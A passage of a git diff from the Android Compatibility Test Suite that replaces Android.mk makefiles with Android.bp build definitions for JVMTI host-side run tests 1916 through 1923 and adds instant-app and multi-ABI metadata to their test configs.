+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1916HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1916DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1916/Android.mk b/hostsidetests/jvmti/run-tests/test-1916/Android.mk
deleted file mode 100644
index e66e650..0000000
--- a/hostsidetests/jvmti/run-tests/test-1916/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1916HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1916/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1916/AndroidTest.xml
index bd65112..55a3bbf 100644
--- a/hostsidetests/jvmti/run-tests/test-1916/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1916/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1916/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1916/app/Android.bp
new file mode 100644
index 0000000..fbfc346
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1916/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1916DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1916/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1916/app/Android.mk
deleted file mode 100644
index bd68d5d..0000000
--- a/hostsidetests/jvmti/run-tests/test-1916/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1916DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1917/Android.bp b/hostsidetests/jvmti/run-tests/test-1917/Android.bp
new file mode 100644
index 0000000..b9eb679
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1917/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1917HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1917DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1917/Android.mk b/hostsidetests/jvmti/run-tests/test-1917/Android.mk
deleted file mode 100644
index c0c5640..0000000
--- a/hostsidetests/jvmti/run-tests/test-1917/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1917HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1917/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1917/AndroidTest.xml
index f859f1a..f049040 100644
--- a/hostsidetests/jvmti/run-tests/test-1917/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1917/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1917/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1917/app/Android.bp
new file mode 100644
index 0000000..6e00971
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1917/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1917DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1917/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1917/app/Android.mk
deleted file mode 100644
index c433c98..0000000
--- a/hostsidetests/jvmti/run-tests/test-1917/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1917DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1920/Android.bp b/hostsidetests/jvmti/run-tests/test-1920/Android.bp
new file mode 100644
index 0000000..ce42c57
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1920/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1920HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1920DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1920/Android.mk b/hostsidetests/jvmti/run-tests/test-1920/Android.mk
deleted file mode 100644
index 0b31554..0000000
--- a/hostsidetests/jvmti/run-tests/test-1920/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1920HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1920/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1920/AndroidTest.xml
index 56f2079..bcc276e 100644
--- a/hostsidetests/jvmti/run-tests/test-1920/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1920/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1920/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1920/app/Android.bp
new file mode 100644
index 0000000..85a13cb
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1920/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1920DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1920/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1920/app/Android.mk
deleted file mode 100644
index afdebed..0000000
--- a/hostsidetests/jvmti/run-tests/test-1920/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1920DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1921/Android.bp b/hostsidetests/jvmti/run-tests/test-1921/Android.bp
new file mode 100644
index 0000000..553f8a1
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1921/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1921HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1921DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1921/Android.mk b/hostsidetests/jvmti/run-tests/test-1921/Android.mk
deleted file mode 100644
index b2da6e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1921/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1921HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1921/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1921/AndroidTest.xml
index bf57784..de35460 100644
--- a/hostsidetests/jvmti/run-tests/test-1921/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1921/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1921/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1921/app/Android.bp
new file mode 100644
index 0000000..e55bcb6
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1921/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1921DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1921/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1921/app/Android.mk
deleted file mode 100644
index d8e6c53..0000000
--- a/hostsidetests/jvmti/run-tests/test-1921/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1921DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1922/Android.bp b/hostsidetests/jvmti/run-tests/test-1922/Android.bp
new file mode 100644
index 0000000..a38c5a9
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1922/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1922HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1922DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1922/Android.mk b/hostsidetests/jvmti/run-tests/test-1922/Android.mk
deleted file mode 100644
index de543f3..0000000
--- a/hostsidetests/jvmti/run-tests/test-1922/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1922HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1922/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1922/AndroidTest.xml
index 08a775a..7fa7d38 100644
--- a/hostsidetests/jvmti/run-tests/test-1922/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1922/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1922/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1922/app/Android.bp
new file mode 100644
index 0000000..7419c80
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1922/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1922DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1922/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1922/app/Android.mk
deleted file mode 100644
index 4b06ad9..0000000
--- a/hostsidetests/jvmti/run-tests/test-1922/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1922DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1923/Android.bp b/hostsidetests/jvmti/run-tests/test-1923/Android.bp
new file mode 100644
index 0000000..7d49861
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1923/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1923HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1923DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1923/Android.mk b/hostsidetests/jvmti/run-tests/test-1923/Android.mk
deleted file mode 100644
index 2905d09..0000000
--- a/hostsidetests/jvmti/run-tests/test-1923/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1923HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1923/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1923/AndroidTest.xml
index 5f30957..d12cc61 100644
--- a/hostsidetests/jvmti/run-tests/test-1923/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1923/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1923/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1923/app/Android.bp
new file mode 100644
index 0000000..df1e773
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1923/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1923DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1923/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1923/app/Android.mk
deleted file mode 100644
index e5e5118..0000000
--- a/hostsidetests/jvmti/run-tests/test-1923/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
